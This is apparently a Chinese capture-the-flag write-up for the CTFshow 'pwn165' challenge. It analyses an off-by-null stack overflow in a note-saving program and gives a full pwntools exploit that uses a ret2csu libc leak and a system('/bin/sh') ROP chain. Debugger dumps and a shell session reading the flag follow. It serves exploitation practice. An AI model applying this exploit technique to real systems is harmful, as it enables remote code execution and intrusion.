CTFshow-pwn165

[!NOTE]

堆栈

  • 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn165
[*] '/home/niuyingying/ctf/pwn/pwn165'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)

got 表不可改,没有开启 PIE

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  int v4; // [rsp+Ch] [rbp-14h] BYREF
  const char *v5; // [rsp+10h] [rbp-10h]
  const char *v6; // [rsp+18h] [rbp-8h]

  init_1(a1, a2, a3);
  init_2();
  v5 = "%d";
  open();
  v6 = (const char *)scanf();
  menu();
  while ( 1 )
  {
    printf("> ");
    if ( (int)_isoc99_scanf(v5, &v4) <= 0 )
      break;
    switch ( v4 )
    {
      case 1:
        printf("Note:");
        v6 = (const char *)Edit();
        break;
      case 2:
        printf("Note:%s\n", v6);
        break;
      case 3:
        Save(v6);
        puts("Saved!");
        break;
      case 4:
        fclose(stream);
        v3 = (const char *)Change(&byte_602040);
        unlink(v3);
        open();
        puts("Done!");
        break;
      case 5:
        if ( stream )
          fclose(stream);
        exit(0);
      default:
        puts("Invalid choice");
        break;
    }
  }
  exit(0);
}
// init_io_and_chdir: disable stdin/stdout buffering, chdir('/pwn') result ignored.
int init_1()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  return chdir("/pwn");
}
// open_note_by_id: read global ID, filename=md5_hex(ID), fopen r+ or w+, saved in global stream.
FILE *open()
{
  FILE *result; // rax
  const char *filename; // [rsp+8h] [rbp-8h]

  printf("Input your ID:");
  _isoc99_scanf("%256s", byte_602040);
  filename = Change(byte_602040);
  stream = fopen(filename, "r+");
  result = stream;
  if ( !stream )
  {
    result = fopen(filename, "w+");
    stream = result;
  }
  return result;
}
// read_note_from_file: fscanf(stream, '%256s', stack[0x100]) causes 1-byte NUL overflow into saved rbp.
char *scanf()
{
  char s[256]; // [rsp+0h] [rbp-100h] BYREF

  if ( !stream )
    return 0;
  fseek(stream, 0, 0);
  _isoc99_fscanf(stream, "%256s", s);
  return strdup(s);
}
// edit_note: scanf('%256s', stack[0x100]) causes 1-byte NUL overflow into saved rbp; primary bug used for rbp pivot.
char *Edit()
{
  char s[256]; // [rsp+0h] [rbp-100h] BYREF

  _isoc99_scanf("%256s", s);
  return strdup(s);
}
int __fastcall Save(const char *a1)
{
  int result; // eax

  if ( a1 )
  {
    fseek(stream, 0, 0);
    return fputs(a1, stream);
  }
  return result;
}
// md5_hex(id): compute MD5(id), format 16-byte digest as 32 uppercase hex chars, strdup as filename.
char *__fastcall Change(const char *a1)
{
  size_t v1; // rax
  char v3[96]; // [rsp+10h] [rbp-B0h] BYREF
  char v4[8]; // [rsp+70h] [rbp-50h] BYREF
  __int64 v5; // [rsp+78h] [rbp-48h]
  __int64 v6; // [rsp+80h] [rbp-40h]
  __int64 v7; // [rsp+88h] [rbp-38h]
  char v8; // [rsp+90h] [rbp-30h]
  _BYTE v9[28]; // [rsp+A0h] [rbp-20h] BYREF
  int i; // [rsp+BCh] [rbp-4h]

  *(_QWORD *)v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = 0;
  MD5_Init(v3);
  v1 = strlen(a1);
  MD5_Update(v3, a1, v1);
  MD5_Final(v9, v3);
  for ( i = 0; i <= 15; ++i )
    sprintf(&v4[2 * i], "%02X", (unsigned __int8)v9[i]);
  return strdup(v4);
}

分析程序流程,本质上是一个基于文件保存笔记的菜单程序,关键漏洞在于 scanf() 函数的 _isoc99_fscanf(stream, "%256s", s);Edit() 函数的 _isoc99_scanf("%256s", s);%256s 会写最多 256 字节,再追加 \0,因此对 0x100 栈缓冲产生 off-by-null

那么总体思路就是“两段式栈利用”:

  1. 先用 Edit 里的 1 字节 NUL 越界,改坏 main 的栈帧指针 rbp
  2. 利用这个错位,把菜单里保存格式串的指针 v5"%d" 改成 "%256s"
  3. 下一次菜单输入时,原本只读整数的 scanf 变成了长字符串写入,能覆盖 scanf 这次调用自己的返回地址
  4. 第一次覆盖返回地址时不直接拿 shell,而是先 ret2csuprintf("%s", puts@got),泄露 libc
  5. 算出 libc base 后,第二次再用同样的覆盖点,跳 one_gadgetsystem("/bin/sh"),拿 shell

由于输入是 %s,空白字符会截断,所以 ROP 链要避开 0x20 / 0x0a / 0x09 这类坏字符,所以考虑用 ret2csu 泄露而不是直接塞普通 puts@plt 的原因

.rodata:0000000000401619 a256s           db '%256s',0            ; DATA XREF: scanf+3E↑o
.text:0000000000401060 loc_401060:                             ; CODE XREF: init+54↓j
.text:0000000000401060                 mov     rdx, r13
.text:0000000000401063                 mov     rsi, r14
.text:0000000000401066                 mov     edi, r15d
.text:0000000000401069                 call    qword ptr [r12+rbx*8]
.text:000000000040106D                 add     rbx, 1
.text:0000000000401071                 cmp     rbx, rbp
.text:0000000000401074                 jnz     short loc_401060
.text:0000000000401076
.text:0000000000401076 loc_401076:                             ; CODE XREF: init+34↑j
.text:0000000000401076                 add     rsp, 8
.text:000000000040107A                 pop     rbx
.text:000000000040107B                 pop     rbp
.text:000000000040107C                 pop     r12
.text:000000000040107E                 pop     r13
.text:0000000000401080                 pop     r14
.text:0000000000401082                 pop     r15
.text:0000000000401084                 retn

据此编写脚本:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn165')
libc = ELF('./libc-2.23.so')

# def start():
#     if args.GDB:
#         return gdb.debug(
#             [elf.path],
#             env={"LD_LIBRARY_PATH": "."},
#             gdbscript='set pagination off\nb *0x400F2F\nb *0x400E22\nc',
#         )
#     return process([elf.path], env={"LD_LIBRARY_PATH": "."})
#
# io = start()

io = remote("pwn.challenge.ctf.show",28125)

main = 0x400EB0
fmt_256s = 0x401619
pop_rdi = 0x401083
gadget1 = 0x401076
gadget2 = 0x401060
puts_got = elf.got['puts']

io.recvuntil(b"Input your ID:")
io.sendline(b"AurY1n")

io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"Note:")
payload1 = cyclic(0xa8) + p64(fmt_256s) + cyclic(0x50)
io.sendline(payload1)

# leak libc
payload2 = cyclic(0x64)  # padding
payload2 += p64(gadget1)  # ret
payload2 += p64(0)  # rsp
payload2 += p64(0)  # rbx
payload2 += p64(1)  # rbp
payload2 += p64(puts_got)  # r12
payload2 += p64(0)  # r13 rdx
payload2 += p64(0)  # r14 rsi
payload2 += p64(puts_got)  # r15 edi
payload2 += p64(gadget2)
payload2 += b"\x00" * 0x38
payload2 += p64(main)
payload2 = payload2.ljust(0x100,b"\x00")

io.recvuntil(b"> ")
io.sendline(payload2)
leak = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(leak))

libc_base = leak - libc.symbols['puts']
print(hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

io.recvuntil(b"Input your ID:")
io.sendline(b"AurY1n")

io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"Note:")
payload1 = cyclic(0xa8) + p64(fmt_256s) + cyclic(0x50)
io.sendline(payload1)

io.recvuntil(b"> ")
payload2 = cyclic(0x64)
payload2 += p64(pop_rdi) + p64(binsh) + p64(system)
payload2 = payload2.ljust(0x100,b"\x00")
io.sendline(payload2)

io.interactive()

debug 来分析一下脚本中的两个偏移

pwndbg> stack 0x40
00:0000│ rsi rsp 0x7ffcc55dcc48 —▸ 0x40163a ◂— outsd dx, dword ptr [rsi] /* 'Note:' */
01:0008│-0f8     0x7ffcc55dcc50 —▸ 0x7ffcc55dcd58 —▸ 0x400eb0 ◂— push rbp
02:0010│-0f0     0x7ffcc55dcc58 ◂— 0x7ffc00000005
03:0018│-0e8     0x7ffcc55dcc60 ◂— 0xb9168d7c51fd0031 /* '1' */
04:0020│-0e0     0x7ffcc55dcc68 ◂— 1
05:0028│-0d8     0x7ffcc55dcc70 ◂— 0x3000000008
06:0030│-0d0     0x7ffcc55dcc78 —▸ 0x7ffcc55dcd58 —▸ 0x400eb0 ◂— push rbp
07:0038│-0c8     0x7ffcc55dcc80 —▸ 0x7ffcc55dcc90 —▸ 0x73d4f07ec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
08:0040│-0c0     0x7ffcc55dcc88 ◂— 0xb9168d7c51fdb300
09:0048│-0b8     0x7ffcc55dcc90 —▸ 0x73d4f07ec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0050│-0b0     0x7ffcc55dcc98 —▸ 0x7ffcc55dcbf3 ◂— 0xfdb300000000010a
0b:0058│-0a8     0x7ffcc55dcca0 ◂— 0
0c:0060│-0a0     0x7ffcc55dcca8 —▸ 0x73d4f0510081 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
0d:0068│-098     0x7ffcc55dccb0 ◂— 7
0e:0070│-090     0x7ffcc55dccb8 ◂— 0
0f:0078│-088     0x7ffcc55dccc0 —▸ 0x73d4f07ec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
10:0080│-080     0x7ffcc55dccc8 ◂— 0xa /* '\n' */
11:0088│-078     0x7ffcc55dccd0 —▸ 0x401611 ◂— xor eax, 0x7845202e /* '5. Exit' */
12:0090│-070     0x7ffcc55dccd8 —▸ 0x73d4f07e82a0 (_IO_file_jumps) ◂— 0
13:0098│-068     0x7ffcc55dcce0 ◂— 0
14:00a0│-060     0x7ffcc55dcce8 ◂— 0
15:00a8│-058     0x7ffcc55dccf0 —▸ 0x73d4f048d403 (_IO_file_overflow+259) ◂— cmp eax, -1
16:00b0│-050     0x7ffcc55dccf8 ◂— 7
17:00b8│-048     0x7ffcc55dcd00 —▸ 0x73d4f07ec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
18:00c0│-040     0x7ffcc55dcd08 —▸ 0x401611 ◂— xor eax, 0x7845202e /* '5. Exit' */
19:00c8│-038     0x7ffcc55dcd10 —▸ 0x73d4f0480b62 (puts+418) ◂— cmp eax, -1
1a:00d0│-030     0x7ffcc55dcd18 —▸ 0x7ffcc55dcd48 —▸ 0x7ffcc55dcd78 —▸ 0x7ffcc55dcd30 —▸ 0x400a70 ◂— ...
1b:00d8│-028     0x7ffcc55dcd20 ◂— 0
1c:00e0│-020     0x7ffcc55dcd28 —▸ 0x7ffcc55dcd48 —▸ 0x7ffcc55dcd78 —▸ 0x7ffcc55dcd30 —▸ 0x400a70 ◂— ...
1d:00e8│-018     0x7ffcc55dcd30 —▸ 0x400a70 ◂— xor ebp, ebp
1e:00f0│-010     0x7ffcc55dcd38 —▸ 0x7ffcc55dce10 ◂— 1
1f:00f8│-008     0x7ffcc55dcd40 —▸ 0x400d53 ◂— nop
20:0100│ rbp     0x7ffcc55dcd48 —▸ 0x7ffcc55dcd78 —▸ 0x7ffcc55dcd30 —▸ 0x400a70 ◂— xor ebp, ebp

可以看到,mian 函数的 rbp 是 0x7ffcc55dcd78 被 \0 覆盖变成 0x7ffcc55dcd00 ,那么此时 rbp - 0x10 的偏移为 0xa8 ,即 %d 可以被成功修改

if ( (int)_isoc99_scanf("%d") <= 0 )
    break;
.text:0000000000400F0D loc_400F0D:                             ; CODE XREF: main:loc_401013↓j
.text:0000000000400F0D                 mov     edi, offset asc_401637 ; "> "
.text:0000000000400F12                 mov     eax, 0
.text:0000000000400F17                 call    printf
.text:0000000000400F1C                 lea     rdx, [rbp+var_14]
.text:0000000000400F20                 mov     rax, [rbp+var_10]
.text:0000000000400F24                 mov     rsi, rdx
.text:0000000000400F27                 mov     rdi, rax
.text:0000000000400F2A                 mov     eax, 0
.text:0000000000400F2F                 call    __isoc99_scanf  ; After rbp corruption, scanf(format=v5, &v4) can use attacker-controlled v5='%256s' and overflow scanf's own return address.
.text:0000000000400F34                 test    eax, eax
.text:0000000000400F36                 jg      short loc_400F42
.text:0000000000400F38                 mov     edi, 0          ; status
.text:0000000000400F3D                 call    exit

再来说一下偏移 0x64 , debug 一下可以看到, 0x7ffcc55dccec 是 scanf 的第二个参数,即写入目标地址

b► 0x400f2f    call   __isoc99_scanf@plt          <__isoc99_scanf@plt>
        format: 0x401619 ◂— 0x6e49007336353225 /* '%256s' */
        rsi: 0x7ffcc55dccec ◂— 0x40161962616171
pwndbg> stack 0x40
00:0000│ rsp 0x7ffcc55dcd58 —▸ 0x400eb0 ◂— push rbp

偏移 0x64 对应的是覆盖 scanf 这一次调用自己的返回地址,所以当断在 0x400f2f call scanf 时, RSP = 0x7ffcc55dcd58 ,接着执行 call __isoc99_scanf@plt

scanf 的返回地址位置 = RSP - 8
                  = 0x7ffcc55dcd58 - 8
                  = 0x7ffcc55dcd50

所以目标地址是 0x7ffcc55dcd50,然后算偏移 0x7ffcc55dcd50 - 0x7ffcc55dccec = 0x64

最后拿到 shell 也要注意一下怎么找到 flag

[*] Switching to interactive mode
$ pwd
[DEBUG] Sent 0x4 bytes:
    b'pwd\n'
[DEBUG] Received 0x5 bytes:
    b'/pwn\n'
/pwn
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x4 bytes:
    b'pwn\n'
pwn
$ find / -name flag 2>/dev/null
[DEBUG] Sent 0x1e bytes:
    b'find / -name flag 2>/dev/null\n'
[DEBUG] Received 0x6 bytes:
    b'/flag\n'
/flag
$ cat /flag
[DEBUG] Sent 0xa bytes:
    b'cat /flag\n'
[DEBUG] Received 0x2e bytes:
    b'ctfshow{60944eb3-18d3-4e08-abfb-cd6fecf38eb8}\n'
ctfshow{60944eb3-18d3-4e08-abfb-cd6fecf38eb8}
$  
posted @ 2026-08-10 16:19  AurY1n  阅读(2)  评论(0)    收藏  举报